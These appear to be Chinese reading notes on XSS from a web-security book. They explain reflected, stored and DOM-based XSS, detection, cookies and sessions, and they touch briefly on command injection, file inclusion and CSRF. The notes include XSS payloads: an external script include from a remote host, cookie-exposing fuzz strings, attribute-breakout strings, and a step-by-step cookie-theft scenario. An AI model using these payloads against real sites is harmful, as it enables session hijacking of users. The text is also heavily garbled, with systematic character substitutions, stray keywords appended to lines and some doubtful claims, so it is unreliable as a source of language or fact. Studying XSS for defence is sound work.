《Web安全深度解析》读书笔记-原理篇-XSS跨站脚本漏洞

XSS又叫CSS(Cross Site Scripting),即跨站脚本攻击,是最多见的Web应用程序安全漏洞之一。php

XSS是指攻击者在网页中嵌入客户端脚本,一般是JavaScript编写的恶意代码,当用户使用浏览器浏览嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行数据库

7.一、XSS原理解析浏览器

若是想要深刻研究XSS,必需要精通JavaScript。安全

当输入<script>alert(//xss)</script>时,将触发XSS攻击。服务器

攻击者能够在<script>与</script>之间输入JavaScript代码,实现一些特殊效果。cookie

在真实的攻击中,攻击者通常不只仅弹出一个框,网络

一般使用<script src="http://www.secbug.org/x.txt"></script>方式来加载外部脚本,dom

而在x.txt中存放着攻击者的恶意JavaScript代码,这段代码多是用来盗取用户的Cookie,xss

也多是监控键盘记录等恶意行为。函数

注:JavaScript加载外部的代码文件能够是任意扩展名的(无扩展名也是能够的),

如<script src=“http://www.secbug.org/x.jpg”></script>,即便文件为图片扩展名x.jpg,

但只要其中包含JavaScript代码就会被执行。

7.二、XSS类型

反射型、存储型、DOM型

7.2.一、反射型XSS

反射型XSS也被称为非持久性XSS,是如今最容易出现的一种XSS漏洞。

反射型xss和dom-xss都须要在url加入js代码才可以触发。

当用户访问一个带有XSS代码的URL请求时,服务器端接收数据后处理,而后把带有XSS代码的数据发送到浏览器,浏览器解析到这段带有XSS代码的数据后,最终形成XSS漏洞。

function getCookie(cname) { var name = cname + "="; var ca = document.cookie.split(';'); for(var i=0; i<ca.length; i++) { var c = ca[i].trim(); if (c.indexOf(name)==0) return c.substring(name.length,c.length); } return ""; }

如下是攻击者利用反射型XSS漏洞能够以HIM身份登陆网站,可能的步骤

一、用户HIM是网站www.secbug.org的忠实粉丝,常常泡站内论坛

二、攻击者发现www.secbug.org/xss.php存在反射型XSS漏洞,而后精心狗仔JavaScript代码,来获取用户的Cookie发送到指定的站点www.xxser.com。

三、攻击者将带有反射型XSS漏洞的URL经过站内信发给用户HIM,站内信为一些诱惑信息,目的是为了让后湖HIM点击连接。

四、假设用户HIM点击了带有XSS漏洞的URL,那么僵会把本身的COOkie以HIM的身份登陆www.xxser.com。

五、攻击者接收到用户HIM的会话Cookie,能够直接利用Cookie以HIM的身份登陆www.secbug.org,,从而得到用户HIM的敏感信息。

7.2.二、存储型XSS

存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本,存入了数据库,再取出来,致使的xss

容许用户存储数据的Web应用程序均可能会出现存储型XSS漏洞,当攻击者提交一段XSS代码后,被服务器接收并存储,当攻击者再次访问某个页面时,这段xss代码被程序读出来响应给浏览器,形成XSS跨站攻击,这就是存储型XSS。存储型XSS与反射型XSS和DOM型XSS的最大区别在于,不须要依靠用户手动去触发执行。

存储型XSS场景

在测试是否存在XSS时,首先须要肯定输入点和输出点,例如,咱们要在留言内容上测试XSS漏洞,首先就要去寻找留言内容输出的地方是在标签内仍是在标签属性内,或者在其余地方,若是输出的数据在属性内,那么XSS代码是不会被执行的,如:

<input type="text" name="content" value="<script>alert(1)</scritp>"/>

以上JavaScript代码虽然成功的插入到HTML中,但却没法执行,由于XSS代码出如今value属性中,被当作值来处理,最终浏览器解析HTML是,将会把数据以文本的形式输出在网页中。

知道了输出点以后就能够根据相应的标签狗仔HTML代码来闭合,插入XSS代码: "/><script> alert(1)</script>,最终在HTML中文档为:

<input type="text" name="content" value=""/ ><script>alert(1)</scritp>"/>

模糊测试方案

<script>alert(document.cookie)</script>

"/><script>alert(document.cookie)</script>

</ttextarea>'"<script>alert(document.cookie)</script>

DOM型XSS

全称为Document Object Model,即文档对象模型,DOM一般用于表明在HTML、XHTML、XML中的对象。DOM提供HTML文档中全部的元素的位置,提供文档结构化表示,而且定义了如何经过脚原本访问文档结构。

他也属于反射型xss的一种(2016.3.16修改,domxss取决于输出位置,并不取决于输出环境,所以domxss既有多是反射型的,也有多是存储型的),简单去理解就是由于他输出点在DOM,因此在道哥的《白帽子讲Web安全里》也有详细介绍。dom - xss是经过url传入参数去控制触发的。)

DOM规定以下:

整个文档是一个文档节点;

每一个HTML标签是一个元素节点;

包含在HTML元素中的文本是一个文本节点;

每个HTML属性是一个属性节点;

节点与节点之间都有等级关系。

 

 

7.三、检测XSS

7.3.一、人工检测

考虑哪里有输入,输入的数据在什么地方输出。

手工检测注意选择有特殊意义的字符,这样可以快速检测是否存在XSSS。

在测试某输入框是否存在XSS漏洞时,不要直接输入XSS跨站语句测试,应该一步一步地进行,这样更有利于测试:

一、得知输出位置

输入一些敏感字符,例如 < > " ' ( )等,在提交请求后,看HTML源代码,看这些输入是否被转义。

二、没法得知输出位置

在<div>标签:<div>XSS Test </div>

在<input>标签:<input type="text" name="content" value="XSS Test"/>

这种状况,一般会采用输入 "/> XSS Test 来测试

7.3.二、全自动检测XSS

利用工具进行检测,如Burp Suite 等,也有专门的XSSER、XSSF进行扫描。

7.四、XSS高级利用

危害:

盗取用户Cookie

修改页面内容

网站挂马

利用网站重定向

XSS蠕虫

7.4.一、XSS会话劫持

一、Cookie简介

Cookie是可以让网站服务器把少许文本数据存储到客户端的硬盘、内存,或是从客户端的硬盘、内存读取数据的一种技术。

HTTP是无状态的,Web服务器没法区分请求是否来自同一个浏览器,,Cookie是Web服务器用于标识用户、维护会话。

当你浏览某个网站是,该网站可能向你的电脑硬盘写入一个文件,记录你的ID、密码、停留时间等信息,这个文件就是Cookie,

当你第二次访问这个网站时,浏览器会自动检测你的硬盘,并将存储在本地的Cookie发送给网站,这样网站能够作出响应的动做,、

如,自动登陆登。

Cookie按照在客户端的存储位置,分为内存Cookie和硬盘Cookie。内存Cookie由浏览器维护,保护在内存中,浏览器关闭后消失。

硬盘Cookie保存在硬盘里,有一个过时时间,除非用户手动清理或到了过时时间,不然硬盘Cookie不会被删除,其存储时间是长期的,

因此Cookie也能够分为持久Cookie和非持久Cookie。

一个用户电脑上的Cookie可能存在多个,他们分别存储来自不一样网站的信息。

Cookie也存在限制,大多数浏览器支持最大4096B的Cookie,这样就限制了Cookie的大小最多也就只能在4K左右。

大多数浏览器只容许每一个站点存储20个Cookie,若是试图存储更多,则最旧的Cookie便会被丢弃。有些浏览器还会对全部站点的Cookie总数作出绝对限制,一般为300个。

二、Cookie格式

Cookie是一组K,V形式。

Set-Cookie:HTTP响应头,Web服务器经过此HTTP头向客户端发送Cookie

name=value:这是每一个Cookie均有的部分,用户能够经过name获取Cookie中存放的value,在字符串“name=value”中不存在分号,逗号和空格等字符;

expires=date:Expires肯定了Cookie的有效终止日期,且属性值date必须以特定的格式来书写“星期几,DD-MM-YY HH:MM:SS GMT”,其中GMT指格林尼治时间。

该变量可省,若是缺省,则COokie的属性值不会保存在用户的磁盘中,仅仅是保存在内存里,Cookie将随浏览器的关闭而消失。

domain=domain-name:Domain变量肯定了哪些Internet域中的Web服务器能够读取浏览器存储的Cookie,即只有来自这个域的页面才能使用Cookie中的信息。

若是缺省,值为改Web服务器的域名。

path=path:Path属性定义了Web服务器上那些路径下的页面能够获取服务器发送过来的Cookie。若是过Path属性值为“/”,则Web服务器上全部的WWW资源都可读取该Cookie。

若是缺省,值为Web服务器传给浏览器的资源路径名。

经过domain和path两个变量的设置,能够有效的控制Cookie文件被访问的范围。

Secure:在Cookie中标记该变量,代表只有当浏览器和Web Server之间通信协议为加密认证协议时,浏览器才向服务器提交相应的Cookie,当前只有HTTPS协议属于这种状况。

HttpOnly:禁止JavaScript读取。

Cookie信息通常都是加密的,普通用户看到只是一些毫无心义的字符串。

三、读写Cookie

HTTP的响应头:Set-Cookie头

四、JavaScript操做Cookie

经过Burp Suite拦截请求后,替换请求中的Cookie

或者经过Chrome的Console替换Cookie

五、SESSION

SESSION在计算机中,尤为是网络引用,被称为会话。

SESSION机制是一种服务器端的机制,服务器使用一中相似于散列表的结构表来保存信息。

Web中的SESSION是指用户在浏览某个网站时,从进入网站到浏览器关闭所通过的这段时间,也就是一次客户端与服务器端的对话,被称为SESSION,当关闭浏览器后,SESSION懂注销。

SEESION与Cookie的区别:Cookie将数据存储在客户端,SESSION将数据存储在服务端,仅仅在客户端存储一个ID。

7.五、修复XSS跨站漏洞

XSS跨站漏洞最终造成的缘由是对输入与输出没有严格的过滤,在页面执行JavaScript等客户端脚本。

7.5.二、HttpOnly

对防护XSS漏洞不起做用,主要是为了解决XSS漏洞后续的Cookie劫持攻击。

 

命令行漏洞

尽可能不要使用系统执行命令

在进入命令行函数/方法以前,变量必定要作好过滤,对敏感字符进行转义

在使用动态函数以前,确保使用的函数是指定的函数之一。

对PHP语言来讲,不能彻底控制的风险函数最好不要使用。

在防范以前确保输入是否可控。

文件包含漏洞

程序人员一般会把重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无再次编写,这种调用文件的过程通常会成为包含。

其余漏洞

CSRF(Cross-Site Request Forgery):跨站请求伪造,也称为One Click Attack或Session Riding

如何理解CSRF攻击:攻击者盗用了你的身份,以你的名义进行某些非法的操做。

CSRF攻击创建在浏览器与Web服务器的会话中;

欺骗用户访问URL

相关文章
相关标签/搜索